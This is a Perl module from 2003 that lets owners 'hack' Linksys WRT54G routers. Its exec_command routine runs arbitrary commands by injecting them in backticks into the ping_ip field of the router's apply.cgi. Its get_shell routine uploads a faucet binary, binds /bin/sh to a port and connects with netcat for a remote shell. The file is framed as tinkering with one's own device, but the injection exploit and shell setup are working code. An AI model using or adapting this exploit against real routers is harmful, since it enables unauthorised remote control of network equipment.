package WRT54G;

=head1 NAME

WRT54G - Linksys(tm) wireless router hacking library

=head1 SYNOPSIS

  # Connect to router

  use WRT54G;

  my $router = WRT54G->new( ip_addr            => '10.10.10.1',
                            password           => 'foo!',
                            ttcp_binary        => '/usr/bin/nttcp',
                            mips_faucet_binary => '/tmp/faucet',
                            netcat_binary      => '/bin/nc',
                           );

  # Send a file

  $router->send_file( filename => '/home/cjcollier/cjcollier.html',
                      subdir   => 'resumes',
                      is_text  => 1,
                     );

  # Get router status

  my %status = $router->get_status();

  # Execute a command

  $router->exec_command( 'ls /tmp > /dev/null' );

  # Get a shell

  $router->get_shell();

=head1 ABSTRACT

This perl library allows you to access your WRT54G and perform some
interesting hacks with it.

=head2 Calling WRT54G Methods

WRT54G methods are called with key/value pairs.  If you forget to pass
a required argument, you'll hear from the program at runtime.

=cut


use strict;

use HTTP::Request::Common;
use LWP::UserAgent;
use URI::Escape;
use File::Basename;

# Creates a new instance of the WRT54G class

# accepts a hash as artuments, keys being any or none the following:
#  ip_addr
#  password
#  ttcp_binary
#  mips_faucet_binary
#  netcat_binary

# returns the class instance

=head2 Instantiating an Object

To create a wrt54g object, call WRT54G->new() and pass the
configuration arguments for your router:

  my $router = WRT54G->new( ip_addr            => '10.10.10.1',
                            password           => 'foo!',
                            ttcp_binary        => '/usr/bin/nttcp',
                            mips_faucet_binary => '/tmp/faucet',
                            netcat_binary      => '/bin/nc',
                           );

=cut

sub new {
  my $class = shift;

  my %params = @_;

  my %config = ( ip_addr            => "192.168.1.1",
		 password           => "admin",
		 ttcp_binary        => "",
		 mips_faucet_binary => "",
		 netcat_binary      => "",
		 dirs               => {},
	       );

  foreach my $param_name (keys %config){
    if (exists $params{$param_name} && defined $params{$param_name}){
      $config{$param_name} = $params{$param_name}
    }
  }

  foreach my $filename (qw( ttcp_binary mips_faucet_binary netcat_binary )){

    die "$filename ($params{$filename}) does not exist!"
      unless -f $params{$filename};

  }

  $config{ping_url} = "http://$config{ip_addr}/apply.cgi";

  $config{ua} = new LWP::UserAgent;

  return bless {%config}, $class;
}


=head2 Sending files to your router

To send files to your router, call the C<send_file> subroutine.  This
sub requires a 'filename' argument and can take a 'subdirectory'
argument, which it will use to create the directory structure that
'filename' will be sent to.  C<send_file> will also take a
'ttcp_binary' argument, which it will use to locate the ttcp binary on
your local system.  If this argument is sent, it will over-write the
default argument you may have sent to C<new>.  As of version 0.0.7,
you can pass an C<is_text> argument to C<send_file>.  If this argument
evaluates to true, this replaces any \r\n occurances (DOS newlines)
with \n.

  $router->send_file( filename     => '/tmp/foo',
                      subdirectory => 'incoming',
                      is_text      => 1,
                      ttcp_binary  => '/usr/bin/nttcp',
                     );

=cut


sub send_file {
  my $self = shift;

  my %args = @_;
  my %bins;

  if($args{'ttcp_binary'}){
    $bins{'ttcp_binary'} = $args{'ttcp_binary'};
    $self->{'ttcp_binary'} = $args{'ttcp_binary'};

  }elsif($self->{'ttcp_binary'}){
    $bins{'ttcp_binary'} = $self->{'ttcp_binary'};

  }else{
    die "No ttcp_binary location supplied!\n";

  }

  die "Incoming filename not specified"
    unless (exists $args{filename} && defined $args{filename});

  die "File '$args{filename}' doesn't exist"
    unless -f $args{filename};

  my $out_filename = basename($args{filename});

  my $out_path;

  if( $args{subdir} &&
      !exists $self->{dirs}->{$args{subdir}}
    ){
    $self->exec_command("mkdir -p /tmp/$args{subdir}");
    $out_path = "/tmp/$args{subdir}/$out_filename";

    $self->{dirs}->{$args{subdir}} = 1;
  }else{
    $out_path = "/tmp/$out_filename";
  }

  my(@content, $head, $content);
  open(FILE, "<$args{filename}");
  @content = <FILE>;
  close(FILE);

  $head = $content[0];

  $content = join('', @content);

  # Get rid of those stupid dos newlines
  if($args{is_text}){
    $content =~ s:\r\n:\n:g;
  }

  #check for #!/bin/sh and correct if found
  if($head =~ m:^#!(.*)/sh$: && $1 ne "/tmp/dist/bin"){
    my $dir = $1;

    print("Correcting misdirected SheBang: $1 -> /tmp/dist/bin\n");

    $content =~ s:^#!$dir:#!/tmp/dist/bin/:;
  }

  my $tmpfile = "/tmp/out$$";

  open(OUT, ">$tmpfile");
  print OUT $content;
  close OUT;


  $args{filename} = $tmpfile;

  # exec_command doesn't work on long commands, so we'll shorten it by
  # naming a shorter name and then moving it where we want it.
  $self->exec_command("/usr/sbin/epi_ttcp -r -p 10 > /tmp/in 2> /dev/null");

  system("$bins{ttcp_binary} -t -p 10 $self->{ip_addr} < $args{filename} > /dev/null 2>&1");
  unlink($tmpfile);

  $self->exec_command("mv /tmp/in $out_path");

  return $out_path;
}


=head2 Getting a shell on your WRT54G

You can get a shell on your router with the C<get_shell> method.  This
method accepts zero to three arguments:

=over 4

=item  * faucet_port

choose which port faucet operates on.  Defaults to 99.

=item * netcat_binary

tell C<get_shell> where your local copy of nc is.  This option will
over-write the option of the same name, which you may have set in the
call to C<new>.

=item * mips_faucet_binary

tell C<get_shell> where your mips-compiled faucet binary is.  This
option will over-write the option of the same name, which you may have
set in the call to C<new>.

=back

This method exec()'s nc to get a shell, so this will be the last
function your program calls.

$router->get_shell( faucet_port        => '1029',
                    netcat_binary      => '/bin/nc',
                    mips_faucet_binary => '/tmp/faucet',
                   );

=cut

sub get_shell {
  my $self = shift;
  my %args = @_;

  my $faucet_port = $args{faucet_port} if exists $args{faucet_port};
  $faucet_port = 99 unless $faucet_port;

  # Send the faucet binary to the WRT54G
  my $mips_faucet_binary;

  my %bins;

  foreach my $bin (qw(mips_faucet_binary netcat_binary)){
    if($args{$bin}){
      $bins{$bin} = $args{$bin};
      $self->{$bin} = $args{$bin};

    }elsif($self->{$bin}){
      $bins{$bin} = $self->{$bin};

    }else{
      die "No $bin location supplied!\n";

    }
  }

  my $faucet_remote = $self->send_file(filename => $bins{mips_faucet_binary});

  # make faucet executable
  $self->exec_command("chmod a+x $faucet_remote");

  # execute the shell and listen on port $faucet_port
  $self->exec_command("$faucet_remote $faucet_port -ioe /bin/sh");

  # exec netcat and start the shell!
  print("Connecting to shell server...\n");
  exec("$self->{netcat_binary} $self->{ip_addr} $faucet_port");

}

=head2 Executing arbitrary commands

In addition to providing a way to get a shell on your WRT54G, this
library offers a way to execute arbitrary commands.  To do so, use the
C<exec_command> method:

$router->exec_command('cat /bin/bash > /dev/null');

=cut

sub cb {
  my ($data, $res, $protocol) = @_;
  unless($res->is_success){
    print($res->request->uri(), ":\nUnsuccessful: ", $res->status_line, "\n");
  }

}

sub exec_command {
  my $self = shift;

  my $command = shift;

  my $req = GET("$self->{ping_url}?submit_button=Ping&submit_type=start&action=Apply&change_action=gozila_cgi&ping_ip=".uri_escape("`$command`")."&ping_times=5");

  $req->authorization_basic('',$self->{password});

  my $res = $self->{ua}->request($req, \&cb);
}

=head2 Getting Router Status

This method scrapes Status.asp for information about your router's
interfaces and returns them in a hash formatted thus:

%status = $router->get_status();

%status = (
          'inet' => {
                      'MAC Address' => '00:00:00:00:00:00',
                      'Subnet Mask' => '255.255.255.0',
                      'IP Address' => '172.0.0.18',
                      'Default Gateway' => '172.0.0.1',
                      'DNS' => [
                                 '172.16.19.5',
                                 '172.16.19.1',
                                 '0.0.0.0'
                               ]
                    },
          'wan' => {
                     'MAC Address' => '00:00:00:00:00:00',
                     'Encryption Function' => 'Disabled',
                     'SSID' => 'viceroy-g',
                     'Channel' => '6',
                     'Mode' => 'Mixed'
                   },
          'lan' => {
                     'MAC Address' => '00:00:00:00:00:00',
                     'DHCP server' => 'Enabled',
                     'Subnet Mask' => '255.255.255.0',
                     'IP Address' => '192.168.1.1',
                     'Start IP Address' => '192.168.1.100',
                     'End IP Address' => '192.168.1.150'
                   }
        );

=cut

sub get_status {
  my $self = shift;
  my %status = ( lan  => {},
		 wan  => {},
		 inet => {}
	       );

  my %unparsed;

  my $req = GET "http://$self->{ip_addr}/Status.asp";

  $req->authorization_basic('',$self->{password});

  my $res = $self->{ua}->request($req);

  unless($res->is_success){
    print($res->request->uri(), ":\nUnsuccessful: ", $res->status_line, "\n");
  }

  my $page = $res->as_string;

  $page =~ /(<!--LAN head-->.+<!--LAN tail-->)/ms;
  $unparsed{lan} = $1;

  $page =~ m:(<!--WAN head-->.+</table></td>\s+?</tr>):msi;
  $unparsed{wan} = $1;

  $page =~ m:$unparsed{wan}(.+?</script>\s+</tbody></table></td></tr>):msi;
  $unparsed{inet} = $1;

  foreach my $interface (qw(lan wan inet)){
    my @fields =
      ($unparsed{$interface} =~ m|<tr>\s+<td.+?>.+?<font.+?>(.+?):</font></td>\s+<td.+?>(.+?)</td></tr>|gmsi);

    push(@fields,
	 ($unparsed{$interface} =~ m|(MAC Address):\s<font.+?>(.+?)</font>|gmsi)
	);

    foreach(@fields){
      $_ =~ s/\s+/ /g;
    }


    $status{$interface} = {@fields}
  }

  if($status{lan}->{'DHCP server'} eq "Enabled"){
    $status{lan}->{'End IP Address'} =~ /prefix = "(.+?)".+?start = (\d+);.+?num = (\d+)/msi;

    my($prefix, $start, $num) = ($1, $2, $3);
    $status{lan}->{'End IP Address'} = $prefix . ($start + $num);

  }

  $status{inet}->{DNS} = [ split(/<br>/i, $status{inet}->{DNS}) ];

  return %status;
}

1;

__END__


=head1 AUTHOR

C.J. Collier <cjcollier@colliertech.org> lives in Seattle and is,
among other things, a business owner, apartment manager, geek, n'er do
well, and expectant father (2003-09-09).

=head1 THANKS

Gerry Rozema <gerryr@rozeware.bc.ca>
  - basis for start_telnet
  - compilation of mips busybox
  - compilation of telnetd

Rob Flickenger <rob@oreillynet.com>
  - Idea for executing shell commands through Ping.asp
  - compilation of mips faucet binary
  - nocatsplash implementation
  - push_splash

Oscar Murillo <oscaremurillo@hotmail.com>
  - INSTALL.es Spanish translation.  Yay!

Bruno Vidal <brunovidal@free.fr>
  - Install.fr French translation.  Yay!

Ross Jordan <rjordan@student.math.uwaterloo.ca>
  - suggesting ttcp as a file transfer tool

Matt Westervelt <mattw@seattlewireless.net>
  - suggestion to make put_file

Some guy going by the name 'tmp' <tmp@zac.att.ne.jp>
  - Essential code hacks

Jim Buzbee <jbuzbee@nyx.net>
  - Idea for building push_dist
  - competition

Mike Baker <mbm@alt.org>
  - Kernel modules compilation
  - strace compilation

=head1 SEE ALSO

=over 4

=item * http://www.seattlewireless.net/index.cgi/LinksysWrt54g

The Seattle Wireless' page'o'hacks for this device

=item * http://www.seattlewireless.net/index.cgi/Wrt54gTools

The Seattle Wireless Wiki entry for this package, specifically

=item * http://cj.colliertech.org/swn

The current repository for wrt54g_tools

=item * irc://irc.freenode.org/wrt54g

The "Official" IRC channel for this package

=back

=head1 COPYRIGHT

(c) Copyright 2003, C.J. Collier.  All Rights Reserved.

This program is free software.  You may copy or redistribute it under
the terms of the GPL.

=cut